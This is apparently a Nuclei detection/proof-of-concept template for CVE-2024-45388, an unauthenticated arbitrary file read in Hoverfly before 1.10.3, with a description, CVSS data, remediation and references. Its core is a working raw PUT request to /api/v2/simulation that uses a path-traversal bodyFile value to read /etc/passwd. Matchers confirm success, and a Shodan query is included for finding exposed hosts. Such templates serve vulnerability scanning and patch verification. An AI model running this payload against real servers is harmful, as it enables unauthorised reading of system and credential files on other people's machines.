Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
PoC
id: CVE-2024-45388
info:
name: Hoverfly < 1.10.3 - Arbitrary File Read
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
impact: |
Unauthenticated attackers can read arbitrary files from the Hoverfly server including sensitive configuration data.
remediation: |
Update Hoverfly to version 1.10.3 or later.
reference:
- https://github.com/advisories/GHSA-6xx4-x46f-f897
- https://nvd.nist.gov/vuln/detail/CVE-2024-45388
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-45388
cwe-id: CWE-20
epss-score: 0.55574
epss-percentile: 0.98984
metadata:
max-request: 1
verified: true
shodan-query: http.favicon.hash:1357234275
tags: cve,cve2024,hoverfly,lfi,intrusive,vkev,vuln
http:
- raw:
- |
PUT /api/v2/simulation HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{"request":{},"response":{"bodyFile": "../../../../../../../etc/passwd","x":"aaa"}} ]},"meta":{"schemaVersion":"v5.3"}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- 'hoverflyVersion'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 490a004630440220305655083f65529d7d492c0c5a63168a744238edc8d53818dc7fdded0770293102204b56a1ffde79d327794bd58b18f9e5459c8b9833146d6706b1e4dea035968d51:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.